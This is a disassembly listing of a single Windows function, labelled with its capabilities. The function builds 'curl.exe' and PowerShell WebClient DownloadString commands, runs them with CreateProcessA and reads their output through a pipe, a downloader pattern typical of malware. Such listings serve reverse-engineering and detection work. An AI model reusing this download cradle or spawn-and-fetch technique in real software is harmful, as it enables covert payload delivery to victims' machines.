Function at 0x100022f0
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c4
mov esi, dword [ebp + 8]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x10004d90
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
push 0x20000
call fcn.1000b04c
add esp, 4
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xa0], 0xc
mov dword [ebp - 0x9c], 0xf
movaps xmm0, xmmword [str.curl.exe__s]
movups xmmword [ebp - 0xb0], xmm0
push esi
call fcn.1000b070
add esp, 4
cmp eax, 3
jbe 0x10002393
mov dword [ebp - 0x10], 0xc
lea ecx, [ebp - 0xb0]
mov edx, eax
push eax
push esi
call fcn.100044c0
add esp, 8
jmp 0x100023b9
lea ecx, [ebp - 0xa4]
mov edx, eax
or edx, 0xc
mov dword [ebp - 0xa0], edx
push eax
push esi
push ecx
mov esi, eax
call fcn.10007340
add esp, 0xc
mov byte [ebp + esi - 0xa4], 0
movsd xmm0, qword [ebp - 0xa0]
movsd qword [ebp - 0x4c0], xmm0
movups xmm0, xmmword [ebp - 0xb0]
movups xmmword [ebp - 0x4d0], xmm0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov dword [ebp - 0x10], 0xd
lea eax, [ebp - 0x4d0]
lea ecx, [ebp - 0x60]
xor edx, edx
push eax
call fcn.100046b0
add esp, 4
mov eax, dword [ebp - 0x4bc]
cmp eax, 0x10
jb 0x1000244b
mov ecx, dword [ebp - 0x4d0]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x10002441
mov esi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, esi
cmp ecx, 0x20
jae 0x10002d85
add eax, 0x24
mov edx, eax
mov ecx, esi
push edx
push ecx
call fcn.10004ef5
add esp, 8
mov eax, dword [ebp - 0x9c]
cmp eax, 0x10
jb 0x10002489
mov ecx, dword [ebp - 0xb0]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x1000247f
mov esi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, esi
cmp ecx, 0x20
jae 0x10002d91
add eax, 0x24
mov edx, eax
mov ecx, esi
push edx
push ecx
call fcn.10004ef5
add esp, 8
xorps xmm0, xmm0
movsd qword [ebp - 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x10], 7
push 0x60
call fcn.10004ec0
add esp, 4
mov esi, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], 0x5e
mov dword [ebp - 0x3c], 0x5f
movups xmm0, xmmword [0x1001e30d]
movups xmmword [eax + 0x4e], xmm0
movups xmm0, xmmword [0x1001e2ff]
movups xmmword [eax + 0x40], xmm0
movups xmm0, xmmword [0x1001e2ef]
movups xmmword [eax + 0x30], xmm0
movups xmm0, xmmword [0x1001e2df]
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [0x1001e2cf]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [str.powershell__Command___webclient__new_object_system.net.webclient___webclient.DownloadString_]
movups xmmword [eax], xmm0
mov byte [eax + 0x5e], 0
mov edi, dword [ebp + 8]
push edi
call fcn.1000b070
add esp, 4
cmp eax, 1
jbe 0x1000252a
mov dword [ebp - 0x10], 9
lea ecx, [ebp - 0x50]
mov edx, eax
push eax
push edi
call fcn.100044c0
add esp, 8
jmp 0x10002549
mov ecx, esi
add ecx, 0x5e
mov edx, eax
or edx, 0x5e
mov dword [ebp - 0x40], edx
push eax
push edi
push ecx
mov edi, eax
call fcn.10007340
add esp, 0xc
mov byte [esi + edi + 0x5e], 0
movsd xmm0, qword [ebp - 0x40]
movsd qword [ebp - 0xa0], xmm0
movups xmm0, xmmword [ebp - 0x50]
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov edx, ecx
sub edx, eax
cmp edx, 4
jae 0x100025b1
mov dword [ebp - 0x10], 0xa
lea ecx, [ebp - 0xb0]
mov edx, 4
push 4
push str.___
call fcn.100044c0
add esp, 8
lea esi, [ebp - 0x4d0]
jmp 0x100025df
lea edx, [eax + 4]
mov dword [ebp - 0xa0], edx
cmp ecx, 0x10
jb 0x100025c7
mov ecx, dword [ebp - 0xb0]
jmp 0x100025cd
lea ecx, [ebp - 0xb0]
lea esi, [ebp - 0x4d0]
mov dword [ecx + eax], 0x223b2927
mov byte [ecx + eax + 4], 0
movsd xmm0, qword [ebp - 0xa0]
movsd qword [ebp - 0x4c0], xmm0
movups xmm0, xmmword [ebp - 0xb0]
movups xmmword [ebp - 0x4d0], xmm0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x58]
je 0x10002649
movsd xmm0, qword [ebp - 0x4c0]
movsd qword [edx + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x4d0]
movups xmmword [edx], xmm0
mov dword [ebp - 0x4bc], 0xf
add edx, 0x18
mov dword [ebp - 0x5c], edx
jmp 0x1000269a
mov dword [ebp - 0x10], 0xb
lea ecx, [ebp - 0x60]
push esi
call fcn.100046b0
add esp, 4
mov eax, dword [ebp - 0x4bc]
cmp eax, 0x10
jb 0x1000269a
mov ecx, dword [ebp - 0x4d0]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x10002690
mov esi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, esi
cmp ecx, 0x20
jae 0x10002db5
add eax, 0x24
mov edx, eax
mov ecx, esi
push edx
push ecx
call fcn.10004ef5
add esp, 8
mov dword [ebp - 0x4bc], 0xf
mov eax, dword [ebp - 0x9c]
cmp eax, 0x10
jb 0x100026e2
mov ecx, dword [ebp - 0xb0]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x100026d8
mov esi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, esi
cmp ecx, 0x20
jae 0x10002d9d
add eax, 0x24
mov edx, eax
mov ecx, esi
push edx
push ecx
call fcn.10004ef5
add esp, 8
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov eax, dword [ebp - 0x3c]
cmp eax, 0x10
jb 0x10002735
mov ecx, dword [ebp - 0x50]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x1000272b
mov esi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, esi
cmp ecx, 0x20
jae 0x10002da9
add eax, 0x24
mov edx, eax
mov ecx, esi
push edx
push ecx
call fcn.10004ef5
add esp, 8
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x5c]
mov edi, eax
mov dword [ebp - 0x34], ebx
jmp 0x1000275a
mov byte [eax + 0x104], 0
add edi, 0x18
cmp edi, ebx
je 0x1000291b
mov edx, dword [edi + 0x10]
cmp edx, 0x104
jae 0x10002800
mov ecx, 0x104
sub ecx, edx
mov esi, dword [edi + 0x14]
mov eax, esi
sub eax, edx
cmp eax, ecx
jae 0x10002820
mov dword [ebp - 0x30], ecx
mov eax, esi
shr eax, 1
mov ecx, eax
xor ecx, 0x7fffffff
mov ebx, 0x7fffffff
cmp ecx, esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x38], esi
jb 0x100027d2
add eax, esi
cmp eax, 0x110
mov ebx, 0x10f
cmovae ebx, eax
cmp eax, 0xfff
jb 0x1000284f
mov dword [ebp - 0x10], 7
cmp eax, 0xffffffdc
jae 0x10002d68
mov dword [ebp - 0x24], ebx
lea eax, [ebx + 0x24]
mov dword [ebp - 0x10], 7
push eax
call fcn.10004ec0
add esp, 4
mov esi, eax
add esi, 0x23
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x10002867
mov dword [edi + 0x10], 0x104
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x10002750
mov eax, dword [edi]
jmp 0x10002750
mov dword [edi + 0x10], 0x104
mov eax, esi
mov esi, edi
cmp eax, 0x10
jb 0x10002832
mov esi, dword [edi]
add edx, esi
push ecx
push 0
push edx
call fcn.100078c0
add esp, 0xc
mov byte [esi + 0x104], 0
add edi, 0x18
jmp 0x1000275a
mov dword [ebp - 0x24], ebx
lea eax, [ebx + 1]
mov dword [ebp - 0x10], 7
push eax
call fcn.10004ec0
add esp, 4
mov esi, eax
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [edi + 0x10], 0x104
mov ecx, dword [ebp - 0x24]
mov dword [edi + 0x14], ecx
mov ebx, dword [ebp - 0x38]
cmp ebx, 0x10
jb 0x100028d5
mov ecx, dword [edi]
push eax
mov dword [ebp - 0x24], ecx
push ecx
push esi
mov edi, eax
call fcn.10007340
add esp, 0xc
add edi, esi
push dword [ebp - 0x30]
push 0
push edi
call fcn.100078c0
add esp, 0xc
mov byte [esi + 0x104], 0
lea eax, [ebx + 1]
cmp eax, 0x1000
jb 0x100028fe
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax - 4]
add eax, 0xfffffffc
sub eax, ecx
cmp eax, 0x20
jae 0x10002d6d
mov edx, ebx
mov eax, ebx
add eax, 0x24
mov ebx, dword [ebp - 0x34]
jmp 0x10002904
push eax
push edi
push esi
mov ebx, eax
call fcn.10007340
add esp, 0xc
add ebx, esi
push dword [ebp - 0x30]
push 0
push ebx
call fcn.100078c0
add esp, 0xc
mov byte [esi + 0x104], 0
mov ebx, dword [ebp - 0x34]
jmp 0x10002911
mov ebx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
push eax
push ecx
call fcn.10004ef5
add esp, 8
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
add edi, 0x18
jmp 0x1000275a
mov dword [ebp - 0xc0], 0xc
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x10], 7
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0x68]
lea edx, [ebp - 0x6c]
push 0
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x10002ccf
push 0
push 1
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov ecx, dword [ebp - 0x68]
test eax, eax
mov edi, dword [ebp - 0x54]
je 0x10002cf6
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
movups xmmword [ebp - 0x9c], xmm0
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xb0], 0x44
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x84], 0x100
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
mov ebx, dword [ebp - 0x34]
jmp 0x100029e7
push edx
push ecx
call fcn.10004ef5
add esp, 8
add edi, 0x18
cmp dword [ebp - 0x24], 0
jne 0x10002cd8
cmp edi, ebx
je 0x10002cd3
xorps xmm0, xmm0
movsd qword [ebp - 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x50], xmm0
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x10002a08
mov eax, dword [edi]
mov ecx, dword [edi + 0x10]
test ecx, ecx
js 0x10002d5c
cmp ecx, 0xf
mov dword [ebp - 0x54], edi
ja 0x10002a40
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], 0xf
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x10], 8
lea eax, [ebp - 0x50]
jmp 0x10002ac8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov eax, ecx
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
mov dword [ebp - 0x10], 7
cmp eax, 0xfff
mov dword [ebp - 0xb4], ecx
jb 0x10002a90
lea eax, [ecx + 0x24]
push eax
call fcn.10004ec0
add esp, 4
mov ecx, eax
add eax, 0x23
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x10002a9c
lea eax, [ecx + 1]
push eax
call fcn.10004ec0
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0x3c], edx
inc ecx
push ecx
push dword [ebp - 0x28]
push eax
call fcn.10007340
add esp, 0xc
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
jb 0x10002ac8
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x10], 8
push eax
push str.trying___s__n
push dword [ebp - 0x2c]
call fcn.10002f20
add esp, 0xc
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
jb 0x10002aec
mov eax, dword [ebp - 0x50]
sub esp, 0x28
lea ecx, [ebp - 0xd0]
mov dword [esp + 0x24], ecx
lea ecx, [ebp - 0xb0]
mov dword [esp + 0x20], ecx
movaps xmm0, xmmword [0x1001de10]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10002c40
push dword [ebp - 0xd0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xcc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.__success_n
push dword [ebp - 0x2c]
call fcn.10002f20
add esp, 8
lea edi, [ebp - 0x4d0]
nop word cs:[eax + eax]
push 0
lea eax, [ebp - 0x64]
push eax
push 0x400
push edi
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, dword [ebp - 0x64]
test esi, esi
mov ecx, str.true
mov edx, str.false
cmove ecx, edx
test eax, eax
cmove ecx, edx
push esi
push ecx
push str.____read_::_continue___s__got__lu_n
push dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
call fcn.10002f20
mov eax, dword [ebp - 0x28]
add esp, 0x10
test eax, eax
je 0x10002c50
mov esi, dword [ebp - 0x64]
test esi, esi
je 0x10002c50
mov eax, dword [ebp - 0x20]
test eax, eax
lea edi, [ebp - 0x4d0]
je 0x10002c00
mov ecx, dword [ebp - 0x38]
add ecx, esi
mov dword [ebp - 0x38], ecx
push ecx
push eax
call fcn.1000b057
add esp, 8
test eax, eax
jne 0x10002c11
jmp 0x10002c80
inc esi
push esi
call fcn.1000b04c
add esp, 4
mov dword [ebp - 0x38], esi
test eax, eax
je 0x10002c80
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x30]
add eax, ebx
mov esi, dword [ebp - 0x64]
push esi
push edi
push eax
call fcn.10007340
add esp, 0xc
add ebx, esi
mov dword [ebp - 0x30], ebx
jmp 0x10002b80
mov dword [ebp - 0x28], 6
jmp 0x10002c8e
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x10002c5f
mov ecx, dword [ebp - 0x38]
mov byte [ecx + eax - 1], 0
mov dword [ebp - 0x28], 5
push dword [ebp - 0x30]
push str.__received_total__zu_n
push dword [ebp - 0x2c]
call fcn.10002f20
add esp, 0xc
jmp 0x10002c8e
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x3c]
cmp eax, 0x10
mov edi, dword [ebp - 0x54]
mov ebx, dword [ebp - 0x34]
jb 0x100029da
mov ecx, dword [ebp - 0x50]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x100029d0
mov esi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, esi
cmp ecx, 0x20
jae 0x10002d79
add eax, 0x24
mov edx, eax
mov ecx, esi
jmp 0x100029d0
xor esi, esi
jmp 0x10002d39
mov esi, dword [ebp - 0x20]
jmp 0x10002ce8
mov eax, dword [ebp - 0x28]
cmp eax, 9
je 0x10002d57
cmp eax, 5
mov esi, dword [ebp - 0x20]
jne 0x10002d39
test esi, esi
jne 0x10002cff
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x10], 7
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x10], 7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x10002d2e
push esi
push 0x1001e367
push dword [ebp - 0x2c]
call fcn.10002f20
mov esi, dword [ebp - 0x20]
add esp, 0xc
push dword [ebp - 0x2c]
call fcn.1000b031
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.10004a00
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, esi
add esp, 0x4c4
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [ebp - 0x20]
jmp 0x10002cff
mov dword [ebp - 0x10], 7
call fcn.100044b0
call fcn.10003ea0
mov dword [ebp - 0x10], 5
call fcn.1000a987
mov dword [ebp - 0x10], 6
call fcn.1000a987
mov dword [ebp - 0x10], 0
call fcn.1000a987
mov dword [ebp - 0x10], 1
call fcn.1000a987
mov dword [ebp - 0x10], 3
call fcn.1000a987
mov dword [ebp - 0x10], 4
call fcn.1000a987
mov dword [ebp - 0x10], 2
call fcn.1000a987
nop word cs:[eax + eax]
push ebp
sub esp, 0x28
add ebp, 0xc
call fcn.10006f55
nop dword [eax]
push ebp
sub esp, 0x28
add ebp, 0xc
call fcn.10006f55
nop dword [eax]
push ebp
sub esp, 0x28
add ebp, 0xc
call fcn.10006f55
nop dword [eax]
push ebp
sub esp, 0x28
add ebp, 0xc
call fcn.10006f55
nop dword [eax]
push ebp
sub esp, 0x28
add ebp, 0xc
call fcn.10006f55
nop dword [eax]
push ebp
sub esp, 0x28
add ebp, 0xc
lea ecx, [ebp - 0x4d0]
call fcn.10001270
add esp, 0x28
pop ebp
ret